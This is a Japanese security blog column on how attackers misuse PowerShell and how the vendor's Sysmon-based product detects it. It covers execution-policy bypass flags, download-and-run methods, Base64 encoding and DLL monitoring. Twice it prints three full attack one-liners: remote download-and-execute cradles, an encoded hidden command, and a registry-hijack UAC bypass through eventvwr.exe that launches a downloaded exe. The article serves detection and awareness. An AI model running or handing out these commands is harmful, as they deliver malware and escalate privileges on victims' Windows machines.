You are here:Home-カラム-PowerShellを利用した攻撃

PowerShellを利用した攻撃

PowerShell

システム管理と自動化などを目的に設計されたコマンドラインシェルおよびスクリプティング言語です。
Windows Vista以降の基本搭載されて攻撃者のツールとして多く使用されています。

1. 実行ポリシー (Execution Policy)
基本的にMicrosoftは、PowerShellスクリプトの実行を制限します。
しかし、攻撃者は、これを簡単に回避することができます。

回避 Flags
-ExecutionPolicy/-EP Bypass
-ExecutionPolicy/-EP Unrestricted
-noprofile or -nop

*Profile Bypass: 各セッションの開始時PowerShellを構成するために設定したProfileも無視できます。

2. ダウンロード
PowerShell クラスとメソッドを使用して不正なファイルをダウンロードして実行します。

悪意のあるPowerShellスクリプトコマンドラインでよく使用されるコマンドです。
New-Object:.NET Frameworkのインスタンスを作成します。
System.Net.Webclient:リモートリソースとのデータ送受信に使用されます。
DownloadString:遠隔地からIEXが実行メモリバッファに内容をダウンロードします
DownloadFile:遠隔地からローカルファイルにコンテンツをダウンロードします。
IEX/ Invoke-Expression:ローカルコンピュータでコマンドを実行します。
ICM/ Invoke-Command:ローカルおよびリモートコンピュータでコマンドを実行します。

3. エンコーディング
– エンコーディングはPowerShell Commnadをユーザーと、特定のログから隠すことができる一つの方法です。
– Base64エンコードを使用した場合CommandLineの長さが長くなります。
– エンコードまたバイパスも、長文のコマンドを使用してインポートされたPowerShellなら疑ってみる必要があります。(>500 is odd)

4. DLL
– 悪質な行動を検出するには、疑わしいcallsの組み合わせを見つける必要があります。
– PowerShell.exeまたはPowerShell_ISE.exe以外の実行ファイルで、これらのDllが呼び出されているかを監視します。
* sysmon id7(imageload)を介して確認できます。
System.Management.Automation.Dll
System.Management.Automation.ni.Dll
System.Reflection.Dll

攻撃コマンド
# powershell.exe -nop -NoProfile -WindowStyle 1 -c IEX (New-Object Net.WebClient).DownloadString(‘https://blog.plura.io/demo/testfile.exe’)

# cmd.exe /c Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JE9TPShHV21pIFdpbjMyX09wZXJhdGluZ1N5c3RlbSkuQ2FwdGlvbjskV0M9TmV3LU9iamVjdCBOZXQuV2ViQ2xp
ZW50OyRXQy5IZWFkZXJzWydVc2VyLUFnZW50J109IlBvd2VyU2hlbGwvV0wgJE9TIjtJRVggJFdDLkRvd25sb2FkU
3RyaW5nKCdodHRwOi8vYmxvZy5wbHVyYS5pby9kZW1vL3Rlc3RmaWxlLnBocCcpOw==

# cmd.exe /c powershell.exe -w hiddden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile(‘http://blog.plura.io/demo/sick.exe’,’%TEMP%\sick.exe’) & reg add HKCU\SOFTWARE\Classes\mscfile\shell\open\command /d %tmp%\sick.exe /f & C:\Windows\system32\eventvwr.exe & PING -n 15 127.0.0.1>nul & %tmp%\sick.exe

悪性PowerShellスクリプトは、主にemail添付ファイルのダウンローダとして使用されたり侵入した後、リモートコンピュータでコードを実行することができます。
PowerShellの脅威に対処するには、より洗練された検出方法と継続的な監視などの努力が必要です。

5. PLURAでPowerShell悪性行為検出
*Sysmon インストールが必要
インストール方法: http://blog.plura.io/?p=5500


不正ファイルの実行
PowerShellバイパスと、攻撃者サーバからファイルをダウンロード行為が発生


フィルタ検出>システム
PLURAは、このような悪質な攻撃をSysmonを活用して、フィルタ検出しています。

攻撃コマンド
# powershell.exe -nop -NoProfile -WindowStyle 1 -c IEX (New-Object Net.WebClient).DownloadString(‘https://blog.plura.io/demo/testfile.exe’)

# cmd.exe /c Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JE9TPShHV21pIFdpbjMyX09wZXJhdGluZ1N5c3RlbSkuQ2FwdGlvbjskV0M9TmV3LU9iamVjdCBOZXQuV2ViQ2xp
ZW50OyRXQy5IZWFkZXJzWydVc2VyLUFnZW50J109IlBvd2VyU2hlbGwvV0wgJE9TIjtJRVggJFdDLkRvd25sb2FkU
3RyaW5nKCdodHRwOi8vYmxvZy5wbHVyYS5pby9kZW1vL3Rlc3RmaWxlLnBocCcpOw==

# cmd.exe /c powershell.exe -w hiddden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile(‘http://blog.plura.io/demo/sick.exe’,’%TEMP%\sick.exe’) & reg add HKCU\SOFTWARE\Classes\mscfile\shell\open\command /d %tmp%\sick.exe /f & C:\Windows\system32\eventvwr.exe & PING -n 15 127.0.0.1>nul & %tmp%\sick.exe

悪性PowerShellスクリプトは、主にemail添付ファイルのダウンローダとして使用されたり侵入した後、リモートコンピュータでコードを実行することができます。
PowerShellの脅威に対処するには、より洗練された検出方法と継続的な監視などの努力が必要です。

※ 参照
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1511980157.pdf
https://docs.broadcom.com/doc/increased-use-of-powershell-in-attacks-16-en
https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?seq=25651

※関連記事、セキュリティニュース
https://bit.ly/2V99SLF

By |2020-05-19T10:47:28+09:00May 12th, 2020|Categories: カラム|0 Comments

About the Author: